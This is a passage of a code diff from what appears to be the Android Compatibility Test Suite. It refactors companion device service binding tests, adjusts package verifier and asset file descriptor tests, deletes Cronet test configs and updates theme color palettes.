- PrimaryCompanionService.waitAssociationToAppear(associationId)
- assertContentEquals(
- actual = PrimaryCompanionService.associationIdsForConnectedDevices,
- expected = setOf(associationId)
- )
- // ... while neither the non-primary nor incorrectly defined CompanionDeviceServices -
- // have NOT. (Give it 1 more second.)
- sleep(1000)
- assertEmpty(SecondaryCompanionService.connectedDevices)
- assertEmpty(MissingPermissionCompanionService.connectedDevices)
- assertEmpty(MissingIntentFilterActionCompanionService.connectedDevices)
+ // Assert only the primary CompanionDeviceService is notified of device appearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = true)
- assertFalse("Both valid CompanionDeviceServices - Primary and Secondary - should stay " +
- "bound ") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
- }
- }
+ // Assert both valid CompanionDeviceServices stay bound
+ assertValidCompanionDeviceServicesRemainBound()
cdm.notifyDeviceDisappeared(associationId)
- // Check that only the primary services has received the onDeviceDisappeared() callback.
- PrimaryCompanionService.waitAssociationToDisappear(associationId)
- assertEmpty(PrimaryCompanionService.connectedDevices)
+ // Assert only the primary CompanionDeviceService is notified of device disappearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = false)
- assertTrue("Both Services - Primary and Secondary - should be unbound now") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
- }
- }
+ // Assert both services are unbound now
+ assertValidCompanionDeviceServicesUnbind()
}
@Test
@@ -119,71 +86,47 @@
cdm.notifyDeviceAppeared(idA)
- assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should be bound " +
- "now") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
- }
- }
- assertFalse("CompanionDeviceServices that do not require " +
- "BIND_COMPANION_DEVICE_SERVICE permission or do not declare an intent-filter for " +
- "\"android.companion.CompanionDeviceService\" action should not be bound") {
- MissingPermissionCompanionService.isBound ||
- MissingIntentFilterActionCompanionService.isBound
- }
+ // Assert only the valid CompanionDeviceServices (primary + secondary) are bound
+ assertValidCompanionDeviceServicesBind()
+ assertInvalidCompanionDeviceServicesNotBound()
- // Check that only the primary services has received the onDeviceAppeared() callback...
- PrimaryCompanionService.waitAssociationToAppear(idA)
+ // Assert only the primary CompanionDeviceService is notified of device A's appearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = true)
assertContentEquals(
- actual = PrimaryCompanionService.associationIdsForConnectedDevices,
- expected = setOf(idA)
+ actual = PrimaryCompanionService.associationIdsForConnectedDevices,
+ expected = setOf(idA)
)
- // ... while neither the non-primary nor incorrectly defined CompanionDeviceServices -
- // have NOT. (Give it 1 more second.)
- sleep(1000)
- assertEmpty(SecondaryCompanionService.connectedDevices)
- assertEmpty(MissingPermissionCompanionService.connectedDevices)
- assertEmpty(MissingIntentFilterActionCompanionService.connectedDevices)
cdm.notifyDeviceAppeared(idB)
- // Check that only the primary services has received the onDeviceAppeared() callback.
- PrimaryCompanionService.waitAssociationToAppear(idB)
+ // Assert only the primary CompanionDeviceService is notified of device B's appearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = true)
assertContentEquals(
actual = PrimaryCompanionService.associationIdsForConnectedDevices,
expected = setOf(idA, idB)
)
// Make sure both valid services stay bound.
- assertFalse("Both valid CompanionDeviceServices - Primary and Secondary - should stay " +
- "bound ") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
- }
- }
+ assertValidCompanionDeviceServicesRemainBound()
// "Disconnect" first device (A).
cdm.notifyDeviceDisappeared(idA)
- PrimaryCompanionService.waitAssociationToDisappear(idA)
+ // Assert only the primary CompanionDeviceService is notified of device A's disappearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = false)
+
// Both valid services should stay bound for as long as there is at least one connected
// device - device B in this case.
- assertFalse("Both valid CompanionDeviceServices - Primary and Secondary - should stay " +
- "bound ") {
- waitFor(timeout = 3.seconds, interval = 1.milliseconds) {
- !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
- }
- }
+ assertValidCompanionDeviceServicesRemainBound()
- // "Disconnect" second device (B).
+ // "Disconnect" second (and last remaining) device (B).
cdm.notifyDeviceDisappeared(idB)
- PrimaryCompanionService.waitAssociationToDisappear(idB)
- assertTrue("Both Services - Primary and Secondary - should be unbound now") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
- }
- }
+ // Assert only the primary CompanionDeviceService is notified of device B's disappearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = false)
+
+ // Both valid services should unbind now.
+ assertValidCompanionDeviceServicesUnbind()
}
@Test
@@ -220,21 +163,12 @@
}
// Make sure CDM binds both CompanionDeviceServices.
- assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should be bound " +
- "now") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
- }
- }
+ assertValidCompanionDeviceServicesBind()
// Notify CDM that devices has disconnected.
cdm.notifyDeviceDisappeared(associationId)
// Make sure CDM unbinds both CompanionDeviceServices.
- assertTrue("Both Services - Primary and Secondary - should be unbound now") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
- }
- }
+ assertValidCompanionDeviceServicesUnbind()
}
}
\ No newline at end of file
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 0a96437..ab5211e 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -39,6 +39,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.app.UiAutomation;
import android.content.BroadcastReceiver;
@@ -65,6 +66,7 @@
import android.os.ParcelFileDescriptor;
import android.os.Process;
import android.os.RemoteException;
+import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
import android.util.PackageUtils;
@@ -1231,7 +1233,8 @@
assertTrue(isAppInstalled(TEST_APP_PACKAGE));
getUiAutomation().adoptShellPermissionIdentity(
- android.Manifest.permission.PACKAGE_VERIFICATION_AGENT);
+ android.Manifest.permission.PACKAGE_VERIFICATION_AGENT,
+ android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
final CompletableFuture<Boolean> broadcastReceived = new CompletableFuture<>();
@@ -1248,7 +1251,10 @@
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(Intent.ACTION_PACKAGE_NEEDS_VERIFICATION);
intentFilter.addDataType(PACKAGE_MIME_TYPE);
- getContext().registerReceiver(broadcastReceiver, intentFilter, RECEIVER_EXPORTED);
+ // The broadcast is sent for user 0, so we need to request it for all users.
+ // TODO(b/232317379) Fix this in proper way
+ getContext().registerReceiverForAllUsers(broadcastReceiver, intentFilter, null, null,
+ RECEIVER_EXPORTED);
// Enable verification.
executeShellCommand("settings put global verifier_verify_adb_installs 1");
@@ -1282,6 +1288,10 @@
@Test
public void testPackageVerifierReject() throws Exception {
+ // PackageManager.verifyPendingInstall() call only works with user 0 as verifier is expected
+ // to be user 0. So skip the test if it is not user 0.
+ // TODO(b/232317379) Fix this in proper way
+ assumeTrue(getContext().getUserId() == UserHandle.USER_SYSTEM);
AtomicInteger dataLoaderType = new AtomicInteger(-1);
runPackageVerifierTest("Failure [INSTALL_FAILED_VERIFICATION_FAILURE: Install not allowed]",
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index bff425b..51286e0 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -991,7 +991,7 @@
assertEquals(3, result.length);
assertEquals("shared:android.uid.system", result[0]);
assertEquals(null, result[1]);
- assertEquals("com.android.cts.ctsshim", result[2]);
+ assertEquals("shared:com.android.cts.ctsshim", result[2]);
}
@Test
diff --git a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java
index 14580eb..5baee12 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptorTest.java
@@ -114,6 +114,12 @@
} catch (IOException e) {
// expect
}
+ try {
+ mInputStream = mAssetFileDes.createInputStream();
+ fail("Should throw IOException");
+ } catch (IOException e) {
+ // expect
+ }
mAssetFileDes.close();
mAssetFileDes = null;
@@ -134,6 +140,12 @@
mInputStream.close();
mInputStream = null;
try {
+ mInputStream = mAssetFileDes.createInputStream();
+ fail("Should throw IOException");
+ } catch (IOException e) {
+ // expect
+ }
+ try {
mOutputStream = mAssetFileDes.createOutputStream();
fail("Should throw IOException");
} catch (IOException e) {
diff --git a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java
index 106ee4e..58af714 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetFileDescriptor_AutoCloseInputStreamTest.java
@@ -152,24 +152,6 @@
assertEquals(FILE_DATA[2], mInput.read());
}
- public void testTwoFileDescriptorsWorkIndependently() throws IOException {
- openInput(0, FILE_LENGTH);
-
- AssetFileDescriptor fd2 = new AssetFileDescriptor(mFd.getParcelFileDescriptor(),
- 0,
- FILE_LENGTH);
- AssetFileDescriptor.AutoCloseInputStream input2 =
- new AssetFileDescriptor.AutoCloseInputStream(fd2);
-
- input2.skip(2);
- input2.read();
-
- for (int i = 0; i < FILE_LENGTH; i++) {
- assertEquals(FILE_DATA[i], mInput.read());
- }
- assertEquals(FILE_END, mInput.read());
- }
-
private void openInput(long startOffset, long length)
throws IOException {
if (mFd != null) {
diff --git a/tests/tests/cronet/AndroidManifest.xml b/tests/tests/cronet/AndroidManifest.xml
deleted file mode 100644
index b7ae844..0000000
--- a/tests/tests/cronet/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.cronet.cts" >
-
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.INTERNET" />
-
- <application android:usesCleartextTraffic="true">
- <uses-library android:name="android.test.runner" />
- <uses-library android:name="org.chromium.net.cronet" />
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.cronet.cts"
- android:label="CTS tests of android.cronet">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
- </instrumentation>
-
-</manifest>
diff --git a/tests/tests/cronet/AndroidTest.xml b/tests/tests/cronet/AndroidTest.xml
deleted file mode 100644
index 79c37f7..0000000
--- a/tests/tests/cronet/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Cronet test cases">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="networking" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsCronetTestCases.apk" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.cronet.cts" />
- <option name="runtime-hint" value="10s" />
- </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/tests/cronet/OWNERS b/tests/tests/cronet/OWNERS
deleted file mode 100644
index 9b1555e..0000000
--- a/tests/tests/cronet/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 31808
-set noparent
-include platform/packages/modules/Connectivity:/tests/cts/OWNERS
diff --git a/tests/tests/cronet/TEST_MAPPING b/tests/tests/cronet/TEST_MAPPING
deleted file mode 100644
index b1f3088..0000000
--- a/tests/tests/cronet/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "presubmit": [
- {
- "name": "CtsCronetTestCases"
- }
- ]
-}
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
index fed0c91..8c836fa 100644
--- a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
+++ b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
@@ -21,6 +21,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.pm.PackageManager;
import android.server.wm.ActivityManagerTestBase;
import android.server.wm.DreamCoordinator;
import android.view.Display;
@@ -31,6 +32,7 @@
import static com.google.common.truth.Truth.assertThat;
import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -84,6 +86,9 @@
@Test
public void testDreamOverlayAppearance() throws InterruptedException {
+ Assume.assumeFalse(mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE));
+
// Listen for the overlay to be shown
final CountDownLatch countDownLatch = new CountDownLatch(1);
mContext.registerReceiver(
diff --git a/tests/tests/graphics/res/xml/valid_themes.xml b/tests/tests/graphics/res/xml/valid_themes.xml
index 64437f9..ad8b953 100644
--- a/tests/tests/graphics/res/xml/valid_themes.xml
+++ b/tests/tests/graphics/res/xml/valid_themes.xml
@@ -19,48 +19,48 @@
<theme color="ffb9567a">
<spritz>ffffff,fffbfa,ffecf1,f9dbe2,dcc0c6,c0a4ab,a48a91,877076,6f595e,564147,3e2b31,27171c,000000,ffffff,fffbfa,ffecf1,f2dee2,d5c2c6,b9a6aa,9e8c90,827276,6a5a5e,514347,392d30,23191b,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000,ffffff,fffbfa,f6efef,e8e1e1,cbc5c5,b0aaaa,958f90,7a7575,625d5e,4a4646,333030,1e1b1b,000000,ffffff,fffbfa,f6efef,e8e1e1,cbc5c5,b0aaaa,958f90,7a7575,625d5e,4a4646,333030,1e1b1b,000000</spritz>
<tonal_spot>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e495ad,c57b93,a76078,8c4a60,703349,541d32,39071d,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000,ffffff,fffbfa,ffeddf,ffdcbf,efbc94,d1a27a,b48762,976d4a,7c5635,623f20,48290b,2f1500,000000,ffffff,fffbfa,faeeef,ebe0e1,cfc4c5,b3a8aa,988f90,7d7475,655c5e,4c4546,352f30,201a1c,000000,ffffff,fffbfa,ffecf1,f2dee2,d5c2c6,b9a6aa,9e8c90,827276,6a5a5e,514347,392d30,23191b,000000</tonal_spot>
- <vibrant>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,f889ae,d86f94,b85579,9b3e61,7d2649,600d33,3e001c,000000,ffffff,fffbfa,ffecf1,ffd9e4,efb7c7,d29dac,b58392,986977,7e525f,633b48,4a2531,31101d,000000,ffffff,fffbfa,ffecf1,ffd9e4,fcb2c8,de98ad,c07e92,a26378,874c60,6b3648,511f32,370b1d,000000,ffffff,fffbfa,ffecf1,f6dce2,d9c0c6,bca5ab,a18b91,857175,6c5a5e,534247,3c2c31,25181c,000000,ffffff,fffbfa,ffecf1,f9dbe2,dcc0c6,c0a4ab,a48a91,877076,6f595e,564147,3e2b31,27171c,000000</vibrant>
- <expressive>ffffff,fafcff,e4f2ff,c7e7ff,8bcefd,6eb3e0,5297c4,337da7,0b648e,004c6f,00344e,001e2f,000000,ffffff,fffbfa,ffecf1,ffd9e4,efb7c7,d29dac,b58392,986977,7e525f,633b48,4a2531,31101d,000000,ffffff,fffbfa,ffecf1,ffd9e4,fcb2c8,de98ad,c07e92,a26378,874c60,6b3648,511f32,370b1d,000000,ffffff,fffbfa,ffeded,f4ddde,d7c1c2,bba7a7,9f8c8d,837272,6b5b5b,534344,3b2d2d,241919,000000,ffffff,fffbfa,ffeced,fcdbdb,debfc0,c2a4a5,a68a8b,8a6f70,715859,574142,402b2c,281718,000000</expressive>
+ <vibrant>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,f889ae,d86f94,b85579,9b3e61,7d2649,600d33,3e001c,000000,ffffff,fffbfa,ffeceb,ffdad9,f5b7b7,d79c9c,b98382,9c6869,815152,663a3b,4c2525,331012,000000,ffffff,fffbfa,ffede7,ffdacf,ffb49d,e49882,c57f6a,a66551,8b4e3c,6e3727,532213,380d03,000000,ffffff,fffbfa,ffecf1,f9dbe2,dcc0c6,c0a4ab,a48a91,877076,6f595e,564147,3e2b31,27171c,000000,ffffff,fffbfa,ffecf1,fcdae2,dfbec6,c3a3ab,a78991,8a6f76,71575f,584047,402a31,29161c,000000</vibrant>
+ <expressive>ffffff,fafcff,e4f2ff,c7e7ff,8bcefd,6eb3e0,5297c4,337da7,0b648e,004c6f,00344e,001e2f,000000,ffffff,fffbfa,ffede4,ffdbc9,f4ba9e,d69f84,b9856c,9b6b53,80543d,653d28,4a2714,311303,000000,ffffff,fcffd6,ecf8ad,dee9a0,c1cd86,a6b16e,8c9656,717b3e,5a6328,424b12,2b3400,181e00,000000,ffffff,fffbfa,ffeded,f4ddde,d7c1c2,bba7a7,9f8c8d,837272,6b5b5b,534344,3b2d2d,241919,000000,ffffff,fffbfa,ffeced,fcdbdb,debfc0,c2a4a5,a68a8b,8a6f70,715859,574142,402b2c,281718,000000</expressive>
<rainbow>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,f48aae,d57294,b55779,984061,7b2849,5e1033,3e001c,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000,ffffff,fffbfa,ffeddf,ffdcbf,efbc94,d1a27a,b48762,976d4a,7c5635,623f20,48290b,2f1500,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
<fruit_salad>ffffff,fffbfb,faecff,f1dbff,deb8ff,c499f1,a97ed4,8c64b7,734c9d,5b3383,431a6b,2b0053,000000,ffffff,fffbfb,faecff,f1dbff,dabaf9,be9edc,a384c0,866aa4,6e538b,553b71,3d2458,270d42,000000,ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e495ad,c57b93,a76078,8c4a60,703349,541d32,39071d,000000,ffffff,fffbfa,ffecf1,f6dce2,d9c0c6,bca5ab,a18b91,857175,6c5a5e,534247,3c2c31,25181c,000000,ffffff,fffbfa,ffecf1,ffd9e2,e2bdc6,c5a2ab,a98891,8d6e76,74565f,5b3f47,422a31,2b151c,000000</fruit_salad>
</theme>
<theme color="ffb16307">
<spritz>ffffff,fffbfa,ffeddf,faddc9,dcc2ae,c0a794,a48c7a,887261,6f5b4a,564334,3e2d1f,27180c,000000,ffffff,fffbfa,ffede0,f3dfd1,d5c3b6,baa89c,9e8e82,837368,6a5b51,51443b,3a2e26,231a12,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000,ffffff,fffbfa,f7efec,e8e1de,ccc5c2,b0aaa7,958f8d,7a7572,625e5b,4a4643,33302d,1d1b19,000000,ffffff,fffbfa,f7efec,e8e1de,ccc5c2,b0aaa7,958f8d,7a7572,625e5b,4a4643,33302d,1d1b19,000000</spritz>
<tonal_spot>ffffff,fffbfa,ffeddf,ffdcbf,ffb879,e19d61,c28349,a46932,88521c,6b3b05,4d2700,2f1500,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000,ffffff,fdffd7,eef5be,e0e8b1,c4cb97,a8af7e,8e9565,727a4d,5b6238,444a22,2d330e,191e00,000000,ffffff,fffbfa,faeee8,ece0da,cfc4be,b3a9a3,988f89,7d746f,655d58,4c4641,362f2b,201a16,000000,ffffff,fffbfa,ffede0,f3dfd1,d5c3b6,baa89c,9e8e82,837368,6a5b51,51443b,3a2e26,231a12,000000</tonal_spot>
- <vibrant>ffffff,fffbfa,ffeddf,ffdcbf,ffb776,f1963f,d17c26,b06306,8f4e00,6d3900,4d2700,2f1500,000000,ffffff,fffbfa,ffecf0,ffd9e3,f0b8c6,d29dab,b68391,986976,7e525e,643b47,4a2531,31111c,000000,ffffff,fffbfa,ffecf0,ffd9e3,fcb2c7,de97ac,c17d91,a26377,874d5f,6c3547,512031,370b1c,000000,ffffff,fffbfa,ffeddf,f6decd,d9c2b2,bda798,a18d7e,857264,6c5b4e,534437,3c2d22,26190f,000000,ffffff,fffbfa,ffeddf,faddc9,dcc2ae,c0a794,a48c7a,887261,6f5b4a,564334,3e2d1f,27180c,000000</vibrant>
- <expressive>ffffff,fffbfd,f7edff,eadcff,d1bcff,b5a0e8,9a85cc,7e6baf,665395,4e3c7c,372464,220b4e,000000,ffffff,fffbfa,ffedea,ffdad7,f5b8b4,d79c99,ba8380,9c6966,81524f,663b39,4d2524,321110,000000,ffffff,fffbfa,ffedea,ffdad6,ffb3b0,e49794,c67d7a,a76461,8b4c4a,6f3634,542020,380c0c,000000,ffffff,fffbf9,feeedd,efe0cf,d3c4b5,b7a99a,9b8f80,807467,675d50,4f4539,382f24,221a10,000000,ffffff,fffbf9,ffeed9,f5dfc6,d8c4ab,bca891,a08e77,84745e,6b5c48,534432,3b2e1d,241a0a,000000</expressive>
+ <vibrant>ffffff,fffbfa,ffeddf,ffdcbf,ffb776,f1963f,d17c26,b06306,8f4e00,6d3900,4d2700,2f1500,000000,ffffff,fffbf9,ffeedb,ffddb3,e9c08e,cba475,af8a5e,917045,785830,5d411b,442b07,2a1700,000000,ffffff,fffbf8,ffefd2,ffde9c,e7c277,caa75f,ad8c48,907230,775a1a,5c4301,412d00,261900,000000,ffffff,fffbfa,ffeddf,faddc9,dcc2ae,c0a794,a48c7a,887261,6f5b4a,564334,3e2d1f,27180c,000000,ffffff,fffbfa,ffeddf,fddcc4,dfc1a9,c3a58f,a78b76,8a715d,715a47,584331,402c1c,281809,000000</vibrant>
+ <expressive>ffffff,fffbfd,f7edff,eadcff,d1bcff,b5a0e8,9a85cc,7e6baf,665395,4e3c7c,372464,220b4e,000000,ffffff,fffbf7,fbf2b7,ece4a9,d0c88f,b4ad77,99925e,7e7747,656031,4d481c,363107,1f1c00,000000,ffffff,f0fffa,b9ffec,abf0de,8fd4c2,74b8a7,599d8d,3d8173,22695b,005143,00382e,002019,000000,ffffff,fffbf9,feeedd,efe0cf,d3c4b5,b7a99a,9b8f80,807467,675d50,4f4539,382f24,221a10,000000,ffffff,fffbf9,ffeed9,f5dfc6,d8c4ab,bca891,a08e77,84745e,6b5c48,534432,3b2e1d,241a0a,000000</expressive>
<rainbow>ffffff,fffbfa,ffeddf,ffdcbf,ffb776,ee9744,cf7d2c,af6311,8f4d00,6d3900,4d2700,2f1500,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000,ffffff,fdffd7,eef5be,e0e8b1,c4cb97,a8af7e,8e9565,727a4d,5b6238,444a22,2d330e,191e00,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
<fruit_salad>ffffff,fffbfa,ffedef,ffdadf,ffb2be,f98b9c,d97082,b85769,9c4052,7d293b,5f1126,400012,000000,ffffff,fffbfa,ffedef,ffdadf,ffb2be,e894a0,c97a86,aa606c,8e4a55,72333e,561c28,3b0714,000000,ffffff,fffbfa,ffeddf,ffdcbf,ffb879,e19d61,c28349,a46932,88521c,6b3b05,4d2700,2f1500,000000,ffffff,fffbfa,ffeddf,f6decd,d9c2b2,bda798,a18d7e,857264,6c5b4e,534437,3c2d22,26190f,000000,ffffff,fffbfa,ffeddf,ffdcc1,e2c0a5,c5a58b,aa8b72,8d705a,745943,5a422d,412c19,2a1707,000000</fruit_salad>
</theme>
<theme color="ff6e7e0f">
<spritz>ffffff,fdfee4,f1f2d8,e3e4cb,c7c8b0,abad96,90927c,757862,5e604c,464835,2f3220,1a1d0d,000000,ffffff,fefdec,f2f2e0,e4e4d3,c7c7b7,acac9d,919283,767769,5e6052,46483b,303126,1b1c12,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000,ffffff,fffbf7,f4f0ec,e5e2dd,c9c6c2,adaba7,92918d,777672,605e5b,474744,31302e,1c1b19,000000,ffffff,fffbf7,f4f0ec,e5e2dd,c9c6c2,adaba7,92918d,777672,605e5b,474744,31302e,1c1b19,000000</spritz>
<tonal_spot>ffffff,fcffd5,ebf8a4,ddea96,c1cd7d,a5b264,8b974d,707c35,596320,414b08,2b3400,181e00,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000,ffffff,f0fffa,cbfbed,bdeddf,a1d0c3,87b4a8,6d9a8e,527e73,3b665c,224e45,05372f,002019,000000,ffffff,fffcf4,f3f1e8,e5e3da,c8c7bf,adaba4,929189,777670,5f5f58,474741,30312b,1c1c17,000000,ffffff,fefdec,f2f2e0,e4e4d3,c7c7b7,acac9d,919283,767769,5e6052,46483b,303126,1b1c12,000000</tonal_spot>
- <vibrant>ffffff,fdffd7,eaf99a,d9ed76,bdd05d,a2b444,87992c,6e7d0e,566500,404c00,2b3400,181e00,000000,ffffff,fffbfa,ffeddf,ffdcbe,eebd93,d0a27a,b48762,966e4a,7c5635,613f20,48290b,2e1500,000000,ffffff,fffbfa,ffeddf,ffdcbe,fab981,db9e69,bd8551,9f6b3a,845325,683d0f,4d2700,2e1500,000000,ffffff,fdfee7,f2f2dd,e3e4ce,c7c8b3,abad99,919280,767766,5e604f,464839,2f3223,1a1d0f,000000,ffffff,fdfee4,f1f2d8,e3e4cb,c7c8b0,abad96,90927c,757862,5e604c,464835,2f3220,1a1d0d,000000</vibrant>
- <expressive>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e992ae,cb7793,ac5e78,904761,732f49,581933,3c031e,000000,ffffff,fffbf9,ffeed4,ffdea7,e3c28c,c6a673,aa8c5c,8d7243,735b2e,594319,412d05,281900,000000,ffffff,fffbf9,ffeed4,ffdea6,eac077,cea560,b08b48,937030,78591a,5e4102,422c00,281900,000000,ffffff,fafeef,eff2e4,e1e4d6,c4c8bb,a8ad9f,8e9286,73786b,5b6055,44483e,2d3228,181d14,000000,ffffff,f9ffea,ebf4dd,dde5cf,c1cab4,a6ae9a,8b9380,707966,59614f,424939,2b3324,171e10,000000</expressive>
+ <vibrant>ffffff,fdffd7,eaf99a,d9ed76,bdd05d,a2b444,87992c,6e7d0e,566500,404c00,2b3400,181e00,000000,ffffff,f8ffe3,e4f8c7,d6e9b9,bacd9f,9fb185,85976c,6a7c53,53643e,3c4c28,263514,121f03,000000,ffffff,f5ffec,d1fdc5,c3eeb8,a7d29e,8db684,739b6b,598053,42673d,2a4f27,133812,002202,000000,ffffff,fdfee4,f1f2d8,e3e4cb,c7c8b0,abad96,90927c,757862,5e604c,464835,2f3220,1a1d0d,000000,ffffff,fcffdf,f1f3d4,e2e5c7,c6c9ab,abae91,8f9378,75785f,5d6048,454932,2f321e,1a1d0b,000000</vibrant>
